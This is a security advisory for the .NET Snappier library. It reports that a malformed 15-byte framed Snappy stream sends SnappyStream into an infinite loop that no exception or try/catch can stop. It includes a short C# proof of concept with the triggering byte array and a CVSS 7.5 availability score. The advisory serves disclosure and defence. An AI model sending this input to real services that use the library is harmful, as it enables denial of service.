Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returns
A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).
1.3.1Exploitability
AV:NAC:LPR:NUI:NScope
S:UImpact
C:NI:NA:H7.5/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H